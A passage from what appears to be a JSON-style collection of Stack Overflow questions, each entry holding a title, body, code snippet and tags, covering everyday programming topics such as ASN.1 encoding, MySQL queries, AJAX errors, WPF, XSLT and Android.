encoded blob? I'm using C/C++, and I figure it should be possible to simply prefix
the binary blob with some appropriate bytes that signify that the data is of type
octet string and is of a given length (and in a sequence of length 1 I guess).\
nBackground if you're interested:\nWhy do I want to abuse ASN.1 in this way? For a
research project, I need to embed some data in a digital signature that has an
associated an X.509 certificate. (I'm using createSignatureEx in Peter Gutmann's
cryptlib library to create CMS / S/MIME-2/3 / PKCS-#7 compliant signatures if it
matters. I'm not signing the data I want to encode, just adding it as metadata to
the signature to enrich it.) According to my understanding, serious signatures
with arbitrary extension data require the extension data to be encoded using ASN.1
DER. My data is a binary blob and is only useful to my application, so there's no
real value in doing proper ASN.1 encoding of each part of my data. I figure with
some work I could learn to use asn1c to do this, but it looks pretty complicated
and I'm on deadline. Equally importantly, it seems unnecessary and it seems like
this information could be useful to other developers who want to avoid the pain of
proper ASN.1 encoding.\nThanks!\n", "", "c++ c security blob asn.1"], "4031716":
["MySQL select genres problem. (php)", "I have a database:\n\n1) How I can select
unique genres from of all database.\nI need the next: Action / Adventure / Drama /
Family / Fantasy / History / Melodrama / Thriller / War\n2) How can I see a movie
of a certain genre?\n\nBut he also can bring not only the drama, but melodrama.\n3)
How to make a search on a particular genre?\nMay be: \n\nSorry for bad english.
Thank you!\n", "id | movie_name |
genres\n1 | Die Hard | Action,
Thriller\n2 | Gladiator | Adventure, Action,
Drama, History\n3 | Harry Potter and the Sorcerers Stone | Fantasy,
Adventure, Family\n4 | Pearl Harbor | Action,
Melodrama, War\n", "php mysql search select like"], "5605694": ["detecting HTTP
error using ajax", "I'm using ajax calls to retrieve some HTML data. In certain
cases, there are chances that I may get HTTP error 403 (because of some IE bug
Encountering 403 error while using ajax call on IE, Hash fragments with forward-
slash throwing 403 errors with AJAX requests in IE). \nFor error handling purposes,
I want to catch what error has occured and accordingly display some error message.\
nHow do I do that?\nMaybe something like\n\n", "$.ajax({\n type : 'POST',\n
data : data,\n cache : false,\n url : url,\n dataType : 'html'\n
success : function(){\n //if HTTP response is ok, diplay data\n
//else if HTTP response gets 403 error, display some other message\n }\n});\n",
"ajax internet-explorer error-handling http-status-code-403 http-error"],
"4190252": ["Iterate each character in Word documents", "I need to iterate each
character in any given word document. I am somewhat familiar with the object model
but couldn't figure out how to get this granular.\nAny approach will work (Macro,
Interop, AddIn or OLE Embedding).\n", "", "macros interop ms-word character"],
"664147": ["Best way to persist soap request and response into Oracle database?",
"I want to track service calls for security reasons into database and I need to
generate reports above them. I don't know what is the best way, using soap
handlers, using database loggers or something else but I know that performance is
very important for me.\nAny Idea? \nP.S javaee \n", "", "security java-ee soap
persistence"], "6013895": ["How to change the domain of current document?", "I have
an in a from a different domain. It seems the browser blocks me to access the
inner iframe for this reason. Can I change both domain to the same value? I
tried , but there is DOM exception thrown out.\n", "iframe", "javascript google-
chrome"], "3304044": ["Can web app for ios run as smoothly as native?", "Is there a
framework that will allow to create web apps for iOS that will run as smoothly as
native app?\nI've checked demos of Sencha Touch
http://www.sencha.com/products/touch on my iPad there's visible delay for touch
events and for how precisely they are recognized. The feeling isn't the same as for
native apps.\nIs there other frameworks or technics that will allow to provide same
experience as native apps? \n", "", "ios html5 sencha-touch"], "4044797":
["8021XConfig Module has encountered a problem and needs to close", "I received
this error on my old Dell LATIDUDE D810\nI'm currently having trouble with my
wireless adapter: It can't connect to my wireless network any more. \nThe only
information about the 8021xconfig I found on the net are that it's a Intel produced
module.\nI wonder if the wireless adapter problem is a consequence of the
8021Xconfig Module error.\n", "", "windows-xp intel"], "1099397": ["WPF/MVVM: Wrap
an IEnumerable<T> with a ObservableCollection<T>", "from my Repository I get always
an IEnumerable.\nIn the Ctor or a method of my ViewModel I want to wrap my entities
into a ObservableCollection like this:\n\nWhat would you do?\n", "private
ObservableCollection<CustomerViewModel> customerViewModels;\n\npublic
BillingViewModel(IService service)\n{\n ...\n IEnumerable<Customer> customers =
service.GetCustomers();\n\n // that will not work because of a different type\n
customerViewModels = new ObservableCollection(customers); \n\n}\n", "wpf mvvm
ienumerable viewmodel wrap"], "1180256": ["How to authenticate users?", "I have the
following scenario. \nAt my company we use Oracle
11g. The authentication on the frontend is using database users. So, every user of
the frontend has a his own user account in the database system.\nThis implies that
they have the ability to connect directly to the database, if they know the IP
address, port, etc,. Of course, this is not considered a security concern because
our strict managment of roles and privileges. This also implies that when a new
user is added our DBA have to create the user and assing the proper roles and
privileges.\nUntil now, our frontend is accesed only by our internal users.
However, We are planning to add the capability for our external users can login in
our frontend.\nOur estimation is about 750,000 external users with annual
increments of 50,000. This users are supposed to access our system three or four
times per year.\nThe question we have is how to grant access to this users. \n\nBy
using our already implemented authentication system. Every user has his own
database user account.\nGenerating an authentication system for external users
only. Like most of the CMS's in the market, with tables as an ACL (Access Control
List) for users, passwords and roles for our 750,000 external users.\n\nMy main
concern is to have +750,000 database user accounts that will be unused most of the
time and eventually could make a mess with our internal users.\nSomeone have a
similiar experience with this amount of users and how did you deal with it?\nBest
regards.\n", "", "authentication user management"], "2939247": ["Viewing MAMP Pro
Site on iPad", "I've just started using the paid version of MAMP, MAMP Pro and I'm
having some trouble accessing my site via my iPad/iPhone.\nI've got my MAMP server
set up with the default ports (80, 3306) and am trying to visit the site on my iPad
via:\n10.0.1.2:80/project-name\nBut no dice! Anyone know what I'm doing wrong?\n",
"", "mamp"], "4031715": ["Connect HTC Nexus one to a PC", "Using the command prompt
i want to check if my HTC nexus one is connected to the pc using the \"adb
devices\" command.\nI have installed all the available packages for the Android SDK
including Usb Driver package, revision 4 and i have the USB debbuging enabled.\nI
would like to change it to Usb Driver package Revision 3 since i have Nexus one.\
nOn the available packages i can find only the revision 4. How can i change it back
to 3 and maybe this will fix the problem?\nCan you please help me to find out what
the problem is and how to solve it, so by using \"adb devices\" command i can be
able to see my HTC Nexus one.\nThank you.\n", "", "android sdk driver nexus-one"],
"1138411": ["How to display a thumbnail in the hero unit with Bootstrap?", "On this
page of the Bootstrap documentation, an example is provided demonstrating
the \"hero unit\" which typically is placed at the top of a page and announces
something important. I am trying to incorporate this into a page but I would like
to also display a thumbnail beside it. Here is what I have:\n\nThis almost works
but there is no gap between the thumbnail and the text:\n\nAlso, the image is
overflowing the div. I realize I can fix both issues with some inline styling:\n\
nHowever, inline styling really isn't ideal and I am hesitant to apply it site-wide
by editing . Is there a better way? I'm sure someone has run into this before.\n",
"<div class=\"hero-unit\">\n <div class=\"thumbnail span3\">\n <img
src=\"http://placehold.it/260x180\" alt=\"Sample Image\">\n </div>\n
<h1>Important Site Information</h1>\n <p>This paragraph contains important ...
</p>\n <p><a class=\"btn btn-primary btn-large\">Learn more
&raquo;</a></p>\n</div>\n", "alignment thumbnail twitter-bootstrap"], "5534512":
["basic python server using spawn/threads", "Got a problem that I'm facing. and it
should be pretty simple.\nI have an app that places data into a dir \"A\". The data
will be a series of files.\nI want to have a continually running server, that does
a continual look at the dir, and on seeing a completed file in the dir, the server
spawns/forks/creates a thread (not sure of the exact word/tech in python) that then
performs some work. \nBasically, I'm going to be doing an include/execfile(\"foo\")
of an external file in the thread, to perform work, based on the file in the
dir \"A\".\nI want to be able to have the multiple threads running at the same
time. So i'm looking to run the entire process as fast as possible, and
implementing threads/spawn/forked process should allow me to have multiple threads
running in parallel. There's no communication between the different work processes.
\nI've seen various examples using twisted, etc.. but I think I'm over thinking
this..\nAny simple/complete example that I can play with would be great!! (pointers
to samples on the 'net would also be cool...\nthanks...\n", "", "python
multithreading fork spawn"], "4967337": ["RPC to java based Google App Engine from
C# Client", "Please bare with me. \nThis is my first go on the Google app Engine:)\
nI'm having a lot of problems calling a Java based Google App Engine server from a
C# client\nThis is how my client code looks like:\n\nThe server is basically the
Google default web project with an additional method:\n\nadded to
GreetingServiceImpl.\nEverytime I run my client, I get the following exception from
the server:\n\nI would like to keep it in plain HTTP requests.\nAny idea what's
going on? -Any help would be much appreciated! \n", " // C# Client\nstatic void
Main(string[] args)\n{\n const string URL =
\"http://localhost:8888/googlewebapptest7/greet\";\n HttpWebRequest request =
(HttpWebRequest)WebRequest.Create(URL);\n request.Method = \"POST\";\n
request.ContentType = \"text/x-gwt-rpc; charset=utf-8\";\n string content = \"<?
xml
version='1.0'?><methodCall><methodName>greetServlet.GetName</methodName><params></
params></methodCall>\";\n byte[] contentBytes =
UTF8Encoding.UTF8.GetBytes(content);\n request.ContentLength =
contentBytes.Length;\n using (Stream stream = request.GetRequestStream())\n {\n
stream.Write(contentBytes, 0, contentBytes.Length);\n }\n\n // get response\n
WebResponse response = request.GetResponse();\n using (Stream responseStream =
response.GetResponseStream())\n {\n string res = new
StreamReader(responseStream).ReadToEnd();\n\n Console.WriteLine(\"response from
server:\");\n Console.WriteLine(res);\n Console.ReadKey();\n } \n", "c#
google-app-engine xml-rpc"], "1558261": ["File name: 'winmail.dat' Virus name:
'ExceedinglyInfected'", "Everytime I send a zip file off via my corporate account
the recipient gets this message back:\n\nI zipped the file on my Mac using
'Compress '. I have done this many many times on personal accounts. I am using
Office Outlook via the web to send files. I'm stumped because a Google search
doesn't reveal any easy fixes.\n", "FILE DELETED\n\nThe original contents of this
file have been replaced with this message because of its characteristics.\nFile
name: 'winmail.dat'\nVirus name: 'ExceedinglyInfected'\n", "email virus zip"],
"4821211": ["How can I generate a command for start-stop-daemon that will kill the
process if it doesn't term during a timeout period?", "I need to run a for a redis
instance and I want it to send a and if the redis instance doesn't quit i would
like it to force a quit.\nThe configuration says that the option can be used for
that but i couldn't figure a way to do this, here's my current command:\n\nAny
hints on how I would be able to do this?\n", "start-stop-daemon", "linux daemon
redis start-stop-daemon"], "3549487": ["Strange CSS float issue", "I am designing a
website and I am trying to have one header with two smaller headers floating next
to it, one under each other. I tried doing it here, about halfway down where it
says \"About\" and \"what your saying.\"\nThe about section appears correct because
the smaller width pushes the next line down. BUT, on the right I cant get the
text \"testimonials\" to be under \"client'. I figured simply floating everything
to the left would work, but apparently not. I have tried a lot of css tricks but
cant seem to figure it out.\nThanks for the help.\n", "", "html css css-float"],
"5556739": ["Java Cast from Object[] to double[] array and Double[] to double[]
array", "Is there a way to cast an array into array without using any loops. And
cast array to array\n", "Object[]", "types"], "92890": ["Minimum JARs for Spring
3.0 dependency injection", "Similarly to this question regarding an earlier Spring
version, what are the minimum dependencies required for an application to use
Spring 3.0 dependency injection only? The application context will be configured
by XML only. Spring depends on a logging framework, so assume I already include
these JARs for logging:\n\njcl-over-slf4j.jar\nlogback-classic.jar\nlogback-
core.jar\nslf4j-api.jar\n\n", "", "java spring dependency-injection spring-3"],
"697173": ["Why doesn't Rails pick up my custom mail delivery method?", "I defined
a custom delivery method, and load it in an initializer:\n\nI then added to both
development.rb and production.rb.\nBut when I want to send an e-mail\n\nIt fails
with something related to SMTP () \u2013 which I don't want to use.\nWhy is it not
picking up the custom delivery method?\nUPDATE:\nWhen I try from the console, I
notice the following:\n\n(Btw I searched for \"SMTP\" in my project and there are 0
occurrences)\n", "ActionMailer::Base.add_delivery_method :custom, CustomDelivery\
n", "ruby-on-rails-3"], "4987592": ["Howto load different libraries based on
incoming paramters?", "I am creating a java client using different libraries, they
are the same base, but with different optimizations.\nIs there a pattern (or
something else) that I can use to load different libraries, e.g.:\njava -jar
myapp.jar 1 (loads with libraries from set 1 and imports correct and creates a
client using this library)....\nUpdate:\nI
have tried OSGI and it seems like it loads jars as services.\nI need a way to load
very similar libraries upon startup an app.\nThe library has exactly the same
package/method names, but differ in some calculation. I need to have the exact same
client to get realistic results. Thanks\n", "", "java design-patterns"], "911055":
["How do I download and save a file locally on iOS using objective C?", "I'm new to
Objective-C and I want to download a file from the web (if it was changed on the
webserver) and save it locally so it can be used by my application.\nMainly I want
to implement what does. \n", "wget --timestamp <url>", "objective-c ios download
wget local-storage"], "2089521": ["web application in different sso federations",
"is it possible include one web application into several sso federations\n", "",
"single-sign-on"], "4032168": ["I need to get id of a selected value", "I know how
to get the data from spinner. But i need to get id of a selected value. Now in php
we can select id again a value. But is there a way to do it in android.\n", "",
"android spinner"], "2773279": ["How to make a JavaScript or PHP conditionally
redirect?", "basically the page receives varaibles via the url .\nI want to
redirect to one link if is less than and otherwise go to a main link.\nHow do I
program something like this?\n", "http://sitename.com?c1=xxx&c2=yyy", "php
javascript html redirect"], "3933324": ["Service with intents not working. Help
needed", "I was having trouble getting my intents to work all the time from my main
AppWidgetProvider, so I decided to move them to a service, but I cannot get it to
work. MY intents are not firing.\nMy manifest have this to declare my service:\n\
nAnd the code for my service is this:\n\nI am obviously doing something wrong, I
just cannot figure out what.\nEDIT: I have this in my onUpdate() in my main class,
can that be some kind if issue?\n\nAlso, do I need to declare anything else in my
manifest to get it working?\n", " <service android:name=\".IntentService\"\n
android:label=\"IntentService\">\n <intent-filter>\n <action
android:name=\"android.tristan.widget.digiclock.action.UPDATE_2\" />\n
</intent-filter>\n </service>\n", "android service android-intent"], "5179934":
["Problems with Java EE SDK", "I need help with Java SDKs. I have installed Java SE
SDK, and I also installed Java EE SDK. However, where are the JARs in the Java EE
SDK? Isn't Java EE SDK a superset of Java SE SDK? Do I need both? \nIt doesn't seem
that I successfully manages to add all libraries in IntelliJ.\n\n", "", "java java-
ee sdk intellij-idea"], "594196": ["How does an ISV become a supported \"patch
vendor\"?", "The vSphere 4.0 VUM release notes has a list of supported OSes and
applications in the 'Interoperability and Supported Operating Systems' section. How
does an ISV with a custom linux-based VA get on that list ? Is there a process for
adding support for a new OS + app ? I couldn't find anything from the online docs
but perhaps my search skills are lacking :)\n", "", "vmware"], "3471094": ["Lookup
tables question", "\nPossible Duplicate:\ndatabase design question \n\nFor
performance and future data editing, is it better to store all lookup values in 1
table or each to its own table? I have items like Industry, Sub industry, Sector,
Sector type, etc Each of these have between 5 to 50 values. Each can be related
like Sector belongs to Sector type. Industry belongs to industry type. Sub industry
belongs to industry. Company belongs to sub-industry, etc. Some lookup data is
system provided some are user provided (User provided data is huge in excess of
millions as those are like product names, brand names etc). If I create separate
look up table for each there are tons of these. If I group all into 1 then I lose
out on making relationships between them in the database. Any suggestions?\n", "",
"database database-design lookup-tables"], "2795244": ["BigDecimal.movePointRight()
hangs with very large numbers", "The following program freezes, and I can't work
out why. \n\nFor the present purposes, the first method just creates a very large
BigDecimal. (Details: it finds e to the power of z, even when this too large to be
a double. I am pretty sure this method is correct, though the MathContexts may not
be in the best places.) \nI know e^123456789 is extremely big, but I really do want
to use numbers like this. Any answers would be very gratefully received. \n",
"import java.math.*;\n\npublic class BigDec {\n public static BigDecimal
exp(double z) {\n // Find e^z = e^intPart * e^fracPart.\n return new
BigDecimal(Math.E).pow((int)z, MathContext.DECIMAL128).\n multiply(new
BigDecimal(Math.exp(z-(int)z)), MathContext.DECIMAL128);\n }\n\n public static
void main(String[] args) {\n // This works OK:\n BigDecimal x = new
BigDecimal(3E200);\n System.out.println(\"x=\" + x);\n
System.out.println(\"x.movePointRight(1)=\" + x.movePointRight(1));\n\n //
This does not:\n x = exp(123456789);\n System.out.println(\"x=\" + x);\
n System.out.println(\"x.movePointRight(1)=\" + x.movePointRight(1));
//hangs\n }\n}\n", "java bigdecimal"], "1726925": ["XSLT - how to match any non-
text node children?", "I'm new to XSLT and I can't figure out how to get an xsl:if
that matches when there are no child tags.\nI want this to match:\n\nAnd this not:\
n\n", "<context>\n howdy\n</context>\n", "xslt match children"], "4492740":
["Making JavaDocs available with GitHub, Sonatype Maven repo", "Although Github
provides a nice home for Java open source projects, there are some things that are
still missing compared to more mature open source hosting places. I have so far
figured out that Sonatype offers Maven repository access for open source projects,
which solves one issue; and there are many solutions for user/dev mailing lists.\
nBut one thing I am now trying to resolve is that of publishing automatically
generated javadocs for online browsing. Although publishing source jars via Maven
helps a bit with IDEs, I still like ability to browse javadocs online without
downloading or importing a project. Does anyone know of a good way to achieve this,
for projects hosted at Github? (need not be something Github offers, but ideally
something that can be automated to happen when release is cut)\n", "", "java open-
source github javadoc"], "5105284": ["Google +1, breaks every time I click it.
Using Google's code. Why's it breaking", "I'm just starting to integrate some
Social media \"sharing\" into a website, the first being the Google +1 button.\
nI've taken the code straight out of Google's webmasters dashboard, put it in
following all the instructions, and it's breaking when ever I try to click the +1\
nI've got it 'live' at:\nhttp://www.techonline.co.nz/modules/navigator/navto.php?
unique_ID=16\nThe button itself is here:\n\nAnd the Javascript form Google at the
bottom of the '\n\n\nThe CDATA thing is an autotidy from TinyMCE. No idea what it
does either, but It has not stopped any other Javascripts from working on my site.
And the code in this instance still executes because the button's display.\nCan
anyone tell me why it's breaking, like have I got the wrong \n", "<td
style=\"width: 33%; text-align: center;\">\n <div class=\"g-plusone\" data-
annotation=\"inline\" data-width=\"130\" data-href=\"#\">Google +1</div>\n</td>\n",
"javascript html tinymce google-plus google-plus-one"], "3495672": ["C#
BindingNavigator Issue", "I built a form to allow users to edit database records
and all the data binding works and the saving works. However, when I add a new
record to the underlying bindingSource with the \"Add\" button on the
bindingNavigator and I try to navigate to the new record the \"Next\" and \"Last\"
buttons on the navigator don't work, yet the \"Count\" was successfully
incremented.\nSuggestions?\nThanks.\n", "", "c# winforms data-binding navigator"],
"2469569": ["Is fb_graph or Koala ruby gem better than facebooker2, using the
facebook graph?", "Is the fb_graph gem better? \nIt seems to be newer, but the
facebooker has a lot more people
using.\nhttp://github.com/nsanta/fbgraph\nhttp://github.com/mmangino/facebooker\
nUpdate: \nI looked into koala, and it seems it is a good choice as
well.\nhttp://github.com/arsduo/koala\nI also figure out that fb_graph is different
than fbgraph. This is the right one:\nhttp://github.com/nov/fb_graph\nAnd there is
a new facebooker, that uses that Open Graph API, but it doesnt look as mature as
the others: \nhttp://github.com/wallace/facebooker2\n", "", "ruby-on-rails facebook
facebooker"], "3086657": ["How to create multiple mongoDB databases and share them
on heroku?", "I've popped into console and ran the \"heroku addons:add
mongohq:free\" which added an environment variable: ENV['MONGOHQ_URL']. It is a url
that looks like
this:\n\nmongodb://heroku:[email protected]:10059/
appxxxxxx\n\nI want to be able to use (and share) TWO mongodb instances. Running
addons:add mongohq:free on the same app fails saying that the addon is already
present. \nDo I have to create a separate, blank app and just use the ENV variable
from it?\nFinally, is it possible to share these urls between apps? \n", "", "ruby-
on-rails mongodb heroku database-connection mongohq"], "3144932": ["Keep all the
rows of an Microsoft Word 2010 on the same page", "It's so frustrating. I KNEW how
to do it (select the rows and click \"keep with next\") but it doesn't work
anymore.\nHow do I keep all the lines on the same page, causing the table to move
to the next page if there's no space left on the current one?\n", "", "microsoft-
word microsoft-word-2010"], "1462701": ["dbDelta ALTER TABLE syntax?", "Due to some
changes in the DB, I need to alter a table to add one column to it, but even though
the function is running,
the table isn't altered.\nHere's the ALTER TABLE code that I've written\n\nI
couldn't find the syntax for ALTER TABLE with dbDelta anywhere online. \nEDIT:
After looking at the ALTER TABLE statement in gravity forms plugin, I have updated
the statement in single line.\n", "$sql = \"ALTER TABLE \" . $packagetable . \" ADD
COLUMN price decimal(14,2) NOT NULL AFTER description;\";\ndbDelta($sql);\n",
"plugin-development dbdelta"], "3146689": ["Open LAN-hosted website in IE 10
Metro", "It appears that IE10's Metro mode blocks connections to servers running on
the local network (for example, 192.168.1.x).\nI am able to connect to the server
from IE 10 in regular desktop mode.\nHow do I connect to a HTTP server on my LAN
from Metro IE10?\n", "", "lan windows-8-preview metro-ui internet-explorer-10"],
"5607004": ["Avoiding Stretching Stroke when Using CGContextScaleCTM", "I have a
shape that I'm drawing in which is stored in a (). Each time is called, the
shape is stretched to fit the screen with a stroke border around it. I am
wondering, how is it possible to draw the stroke border without also stretching it?
ie stretching the , then drawing the stroke border around it so it's the same width
every time it's drawn? I've tried changing the order of the scale and the add and
draw path to no avail. \n\n", "drawRect", "iphone ios cocoa-touch core-graphics"],
"2808687": ["Where to find default android's google maps marker & default balloon
code?", "See the picture below. In my application (with MapView) usage, I would
like to use such default markers (but with different background colors - red, green
and yellow) and balloons. Where can I find these images & balloon code?\n\n", "",
"android android-mapview"], "1138412": ["unique elements with XSL generate-key()",
"First of all thank you to everyone who replied in my previous thread. In the
interest of avoiding confusion I am posting similar information here, but questions
updated accordingly. \nMy problem is that my xsl for-each shown below never gets
executed, indicating that there is nothing in the result set. However, I cannot
figure out why. Further description below.\nInput structure\n\nAt the top of my XSL
file I have the key statement\n\n[2] The meat of my XSL file, which uses a
different input structure:\n\nInput structure used by [2] above\nThe input
structure is just a list of elements. \nWhat am I missing here? I used a debugger
to determine that the for-each was never executed, which indicates that the set
generated by the expression was the empty set. But why? \nAdditional Info\
n$ResultSet is a node set. It was a parameter passed in to the template. According
to my debugger, the \"key\" statement gets executed the appropriate amount of times
-- once per time a \"subject\" shows up in my input file. According to what I've
read about generate-id(), with no params, it operates on the current node. Instead
of I've also tried all sorts of variations. (, , etc)\n", "<AllMyResults>\
n<Result>\n<someElement>value</state>\n<otherElement>value 2</state>\n<subject>Get
unique subjects!</state>\n</Result>\n</AllMyResults>\n", "xslt xslt-1.0"],
"3002450": ["Setting up global array (outwith class)", "I have a few classes (in
separate files, eg /classes/admin.class.php), and I'd like them to have access to a
global array, which is loaded in the main file (index.php).\nI want the contents of
the global array to be .\nHow do I do this? I've read up about it, but I simply
cannot get my head around it.\n seems to work, but is that not an outdated version
(like ?)\nThanks in advance\n", "$cq->fetch_assoc()", "php arrays variables
global"], "5077255": ["Setting dynamic values to jQuery UI vertical slider", "I
have a series of images and I want to use a slider to browse between those images.
When I open the series I want to set some values to the slider but I cannot make it
work.\nI have two problems: \n- how to access the slider\n- how to set up the
values\nThis is how I tried: \n\n", "$(slider).slider({\n
orientation: \"vertical\",\n }).addClass(\"dhSlider\");\n\n\n\n$
(slider).slider( \"option\", \"max\", this.series.images.length);\n$
(slider).slider( \"option\", \"min\", 0 );\n$
(slider).slider( \"option\", \"step\",this.series.images.length);\n", "jquery
jquery-ui slider"], "4873902": ["Use Hudson Build Parameter in Grails Build
Target", "I have created two Hudson String Parameters in my parametrized build
configuration: , and .\nI can reference these just fine when specifying my
Repository URL: .\nBut I have not been able to reference them as part of my Grails
Build Target: . invokes a Gant script in the Grails project at . This attempt
yields the following error:\n\ngroovy.lang.MissingPropertyException:\n No such
property: svnRoot for class:\n Script1 at\n
org.codehaus.groovy.runtime.ScriptBytecodeAdapter.unwrap(ScriptBytecodeAdapter.java
:49)\n at\n
org.codehaus.groovy.runtime.callsite.PogoGetPropertySite.getProperty(PogoGetPropert
ySite.java:49)\n at\n
org.codehaus.groovy.runtime.callsite.AbstractCallSite.callGroovyObjectGetProperty(A
bstractCallSite.java:240)\n at Script1.run(Script1.groovy:1) at\n
groovy.lang.GroovyShell.evaluate(GroovyShell.java:561)\n at\n
groovy.lang.GroovyShell.evaluate(GroovyShell.java:536)\n at\n
com.g2one.hudson.grails.GrailsBuilder.evalTarget(GrailsBuilder.java:212)\n at\n
com.g2one.hudson.grails.GrailsBuilder.perform(GrailsBuilder.java:168)\n at\n
hudson.tasks.BuildStepMonitor$1.perform(BuildStepMonitor.java:19)\n at\n
hudson.model.AbstractBuild$AbstractRunner.perform(AbstractBuild.java:603)\n at\n
hudson.model.Build$RunnerImpl.build(Build.java:172)\n at\n
hudson.model.Build$RunnerImpl.doRun(Build.java:137)\n at\n
hudson.model.AbstractBuild$AbstractRunner.run(AbstractBuild.java:417)\n at\n
hudson.model.Run.run(Run.java:1337)\n at\n
hudson.model.FreeStyleBuild.run(FreeStyleBuild.java:46)\n at\n
hudson.model.ResourceController.execute(ResourceController.java:88)\n at\n
hudson.model.Executor.run(Executor.java:140)\n\nWhat is the best and or easiest way
to achieve my goal?\n", "svnRoot", "grails ant continuous-integration hudson
gant"], "5080321": ["How to find the machinename of the responding server in WCF",
"I have a client that calls a WCF service, all pretty basic stuff. But in the
production situation the WCF service is load-balanced. In the client I need to log
the name of the server that gave the actual response.\nI know of SvcTraceViewer and
enabling that logging/tracing but that would introduce new tools/logs and I would
like to use the logging that already is in place.\nI know how I can add custom
headers to the service that would include the machine name and how to read this
from the client. But since the default tracing already shows the machine name of
the responding service I think there should be a way without touching the service
itself.\nBased on several sources and with the main reason of finding out what I
can get to reasonably I have been playing around with code like:\n\nThis is plain
wrong on many levels and the code doesn't work on many levels. The is not found in
the collection of incoming message properties, only two properties are found
(encoder and HTTP response).\nCan anybody guide me in the right direction? Any help
is appreciated.\n", "using (var client = new Service1Client())\nusing
(OperationContextScope contextScope = new
OperationContextScope(client.InnerChannel))\n{\n CompositeType data =
client.GetDataUsingDataContract(input);\n\n OperationContext context =
OperationContext.Current;\n MessageProperties prop =
context.IncomingMessageProperties;\n object valueFound;\n
prop.TryGetValue(RemoteEndpointMessageProperty.Name, out valueFound);\n
RemoteEndpointMessageProperty endpoint = valueFound as
RemoteEndpointMessageProperty;\n\n string answeringServer = endpoint != null ?
endpoint.Address : \"Not Found\";\n\n Console.WriteLine(string.Format(\"{0},
{1}\", data.StringValue, answeringServer));\n}\n", "wcf"], "6013723": ["How to put
2 comparisons in if statment in PHP?", "I want to know if I can put two comparisons
in the same statement in PHP, like:\n\n", "if", "php if-statement"], "6010138":
["Photoshop Photo filter math", "Photoshop has a nice feature called Photofilter
(Adjustments > Photo Filter). I've tried to understand the math behind it but no
luck. It's not a standard blending and not a multiplication. By applying specific
filter to white image I've found that it has a non-linear behavior which is
different for each channel. Any one has suggestions where to look for ideas about
how to mimic color photo filters? Thanks\n", "", "math photoshop"], "1290599":
["PyQt4 : How can i toggle the \"Stay On Top\" behavior?", "I want to create an
app, where the user will decide it the main window will stay always on top of the
other apps.\nIn PyQt4 it is easy to create a window that will stay always on top.
This is covered here : PyQt: Always on top\nWhat I want to have a widget (menu
item, checkbox etc) that will toggle this behavior on or off. So far i haven't
found a way to reset the original behavior.\nthank you\nUPDATE\nAfter the
suggestion of \u0130smail 'cartman' D\u00f6nmez, I searched a bit more and I found
an implementation of the WindowFlags example in PyQt4.\nIt can be found here\n",
"", "python pyqt4 stayontop"], "3530918": ["C#: Prepending to beginning of a file",
"What is the best way to add text to the beginning of a file using C#?\nI couldn't
find a straightforward way to do this, but came up with a couple work-arounds.\n\
nOpen up new file, write the text that I wanted to add, append the text from the
old file to the end of the new file.\nSince the text I want to add should be less
than 200 characters, I was thinking that I could add white space characters to the
beginning of the file, and then overwrite
the white space with the text I wanted to add.\n\nHas anyone else come across this
problem, and if so, what did you do?\n", "", "c# file-io"], "5206886": ["SQL Query
using distinct and max", "I have a dataset like:\n\nHow do I get the row back by
type with the highest seqID grouped by type? So in the above example I would want
the row that has A, 3, Text3a and B, 2, Text2b returned.\n", " type seqID
text \n A 1 Text1a\n A 2 Text2a\n A 3
Text3a\n B 1 Text1b\n B 2 Text2b\n", "sql select subquery
distinct max"], "4436244": ["Python download every image Vbulletin", "I want to
download every image in the thread of a particular forum thread of a message board
I happen to frequent (project1999.org). This is not homework. I am very bad at
programming, I use linux. I got stuck can anyone help? I would very much
appreciate it.\nThe thread in question is about cat images lol. Here it is:
http://www.project1999.org/forums/showthread.php?t=37779\nI'm using BeautifulSoup
seems good no? \nHELP please :{\n\n", "import urllib2\nfrom BeautifulSoup import
BeautifulSoup\n\ndef DownloadImagesVB(startUrl, saveDirectory):\n startPage = 1\
n while True:\n url = startUrl + \"&p=\" + str(startPage)\n print
url\n startPage += 1\n urllib2.urlopen(startUrl)\n\nif
__name__==\"__main__\":\n url =
\"http://www.project1999.org/forums/showthread.php?t=37779\"\n path =
\"/home/r00t/cats\"\n DownloadImagesVB(url, path)\n", "python download"],
"3951761": ["Technical term for bit packing", "By bit packing I mean since is of 4
bytes, and if we store inside the , remaining bits will be wasted.\nSo I'll be
packing the next type e.g 's value , in the variable (by right left shifts).\nWhat
is this technique called?\n", "int", "bit-manipulation bit"], "3961149": ["gem
install mysql ... ERROR", "To install MySQL gem:\n\nreturns an error:\n\nHow can I
fix it?\nInfo:\n\nThanks!\nEDIT: \nOutput from dtruss:
http://clomputing.com/temp/dtruss-gem-install-mysql.txt\n", " $ export
ARCHFLAGS=\"-arch i386 -arch x86_64\"\n $ gem install mysql -- --with-mysql-
config=/usr/local/bin/mysql_config\n", "mysql ruby-on-rails osx gem homebrew"],
"5105287": ["I want to retrieve the data from database", "I created a database
using sqlitedbhelper and I am able to switch from one activity to other activity on
button click.\nNow I want to retrieve the data from my database on same button
click and it should display on other activity.\nHere is my activity code\n\nPlease
I want help.\nAny kind of examples would be thankful.\n", " public class
Assessment extends Activity \n {\n private static String DB_PATH =
\"/data/data/+com.comply.assessment()+/Database/\"; \n private static final
String DATABASE_NAME = \"LMS_MST\";\n SQLiteDatabase db;\n TextView
mod_code,qst_code,question_id,question,qst_opt1,qst_opt2,qst_opt3,qst_opt4,correct_
ans,user_ans;\n Cursor cursor;\n private Button start_test; \n
@SuppressWarnings(\"unused\") \n @Override\n public void
onCreate(Bundle savedInstanceState) \n {\n
super.onCreate(savedInstanceState);\n setContentView(R.layout.main);\n\n
start_test=(Button)findViewById(R.id.start_test);\n
start_test.setOnClickListener(this);\n\n public void onClick(View v) \n
{\n Intent intent1= new
Intent(Assessment.this,Get_Assessment.class);\n
startActivity(intent1);\n }\n }\n }\n", "android sqlite3"],
"915539": ["How does unit testing improve productivity?", "I'm currently looking
for ways to improve the productivity of our team. I've read in a number of places
that unit testing can be used to improve productivity. I can imagine writing unit
tests now can be helpful in the future, but does it help in the short term too?
Because I don't understand how writing more code (=more potential bugs) can help us
